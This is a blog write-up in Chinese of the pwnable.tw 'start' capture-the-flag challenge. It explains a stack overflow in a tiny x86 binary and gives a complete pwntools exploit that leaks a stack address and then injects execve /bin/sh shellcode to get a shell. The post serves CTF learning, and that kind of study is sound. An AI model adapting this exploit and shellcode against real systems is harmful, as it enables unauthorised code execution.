pwnable.tw start

Author Avatar
Aryb1n 10月 15, 2017

小巧的文件, 只有两个函数, _start_exit

.text:08048060                 public _start
.text:08048060 _start          proc near
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn

相当于是先push了20字节
然后打印栈顶起20字节内容
之后向栈顶写入60字节内容
栈顶add esp, 20
返回

典型的栈溢出, 检查未开保护, 所以可以在栈上写好shellcode, 然后跳过去, 前提要先泄露出栈顶地址

我们在第一次ret之后, 刚好栈顶是之前save的一个esp[和当前esp相差4字节], 这个时候跳到0x8048087这里, 就可以泄露出一个栈上的一个地址

from pwn import *

# s = remote("chall.pwnable.tw", 10000)
s = process("./start")

leak_func = 0x8048087

# shellcode = asm(shellcraft.i386.sh()) // 44-bytes, too long
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' # 24-bytes

payload1 = 'A' * 20 + p32(leak_func)

s.recvuntil(':')
s.send(payload1)
stack_addr = s.recv(4)
print "[*] stack_addr is %s" % (hex(u32(stack_addr)))

payload2 = 'A' * 20 + p32((u32(stack_addr) + 20)) + shellcode # must <= 60 bytes, for read 60bytes
s.send(payload2)

s.interactive()

要注意的点在于这里用的shellcode不能太长, 因为只能写入60字节, junk占20字节, 返回地址占4字节, 就剩36字节, 而pwntools自带的shellcode有44字节

好好学习, 天天向上